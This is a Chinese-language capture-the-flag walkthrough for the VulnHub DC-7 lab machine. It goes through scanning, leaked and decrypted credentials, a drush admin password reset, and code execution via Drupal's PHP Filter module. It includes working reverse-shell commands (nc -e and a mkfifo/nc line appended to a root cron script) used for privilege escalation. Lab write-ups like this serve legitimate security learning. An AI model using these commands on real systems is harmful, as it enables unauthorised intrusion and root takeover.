VulnHub-DC7
- 6 mins环境下载地址:https://www.five86.com/dc-7.html
环境搭建:
信息收集
探测目标IP
命令:
netdiscover -r 192.168.2.0/24
目标IP为:192.168.2.156
命令:
┌─[✗]─[root@pendo]─[~]
└──╼ #nmap -sP 192.168.2.0/24
端口扫描
利用nmap进行全端口扫描,发现开放了80和22端口
┌─[root@pendo]─[~]
└──╼ #nmap -sT -sV -A -T5 192.168.2.156 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 23:12 CST
Warning: 192.168.2.156 giving up on port because retransmission cap hit (2).
Nmap scan report for dc-7.lan (192.168.2.156)
Host is up (0.0035s latency).
Not shown: 55495 closed ports, 10038 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
| 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 08:00:27:FC:24:CF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 3.46 ms dc-7.lan (192.168.2.156)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.09 seconds
访问80端口,查看CMS版本
网站指纹识别(插件)
网站指纹工具(whatweb)
发现是使用Drupal 8搭建的网站
┌─[root@pendo]─[~]
└──╼ #whatweb http://192.168.2.156
http://192.168.2.156 [200 OK] Apache[2.4.25], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.2.156], MetaGenerator[Drupal 8 (https://www.drupal.org)], PoweredBy[-block], Script, Title[Welcome to DC-7 | D7], UncommonHeaders[x-drupal-dynamic-cache,link,x-content-type-options,x-generator,x-drupal-cache], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]
信息泄露
浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力破解和字典排除在外,需要另外的思路,发现在欢迎页面左下角有一个 “@DC7USER”,猜测是切入点
Google搜索,在github得到DC7USER源码,在其配置文件中获取账号密码
用户名:dc7user
密码:MdR3xOgB7#dW
尝试用账号密码登录SSH
命令:ssh dc7user@192.168.2.156
成功登录ssh
ls发现mbox邮箱,查看其内容,有一个定时任务,调用 /opt/scripts/backups.sh 文件
命令:cat mbox
查看backups.sh定时任务文件,发现只能由 root和www-data用户可修改
命令:
cat /opt/scripts/backups.sh
ls -all /opt/scripts/backups.sh
并且发现两个命令:gpg和drush
gpg命令用来加密
drush命令是drupal框架中用来做一些配置的,它可以改变用户名密码
其中找到了加密的秘钥,PickYourOwnPassword
输入秘钥,解密出一个压缩包 website.tar.gz
解压 website.tar.gz ,输出 html文件夹
命令:tar -zxvf website.tar.gz
查看html文件夹下文件
经查看,在 /var/www/html/sites/default/settings.php 中发现数据库信息
‘database’ => ‘d7db’,
‘username’ => ‘db7user’,
‘password’ => ‘yNv3Po00’,
进入数据库
查看表,找到user表
查看user表的内容,最后在 users_field_data表里发现账户 admin和dc7user
重置网站admin密码
hash解密失败,尝试用 drush命令重置用户密码
一开始发现没有权限执行
重新查看可执行文件 /opt/scripts/backups.sh 文件,发现需要在 /var/www/html 目录下执行drush命令
切换目录,重新重置密码,发现成功
账户密码:admin/admin
利用重置后的密码进行后台登录,成功登入
发现存在的账户
发现需要利用 Drupal 的PHP Filter模块来造成任意代码执行漏洞
Drupal 8 不支持PHP代码,Drupal 8 后为了安全,需要将php单独作为一个模块导入
PHP Filter模块下载并安装
模块下载地址:https://www.drupal.org/project/php
手动将下载好的压缩包导入到里面去
点击 Install new module,将下载模块包的链接添加上,点击 Install
插件安装成功,然后激活这个模块,点击:Enable newly added modules
选择 FILTERS,勾选PHP,点击Install安装
安装成功后提示
然后进入 Content,再点击Add content
选择 Basic page
写入 <?php phpinfo();?> 测试
漏洞利用成功
反弹shell
再将上面的phpinfo页面的内容改成如下
然后点击保存
开启监听,端口:9999
访问:http://192.168.2.156/node/4?pendo=nc -e /bin/bash 192.168.2.110 9999
这里直接使用 dc7user 用户做反弹,因为之前已经通过ssh登录
首先切换到交互模式shell
交互式shell命令:python -c 'import pty;pty.spawn("/bin/bash")'
提权
在 dc7user 用户下发现的 backups.sh 文件这里就可以用到了
重新监听 9999端口(任意),等待反弹
在 /opt/scripts/ 目录下输入如下命令:
命令:www-data@dc-7:/opt/scripts$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.110 9999 > /tmp/f" >> backups.sh
查看写入的内容
backups.sh文件大约每15分钟执行一次,耐心等待反弹
最终在 /root/theflag.txt 找到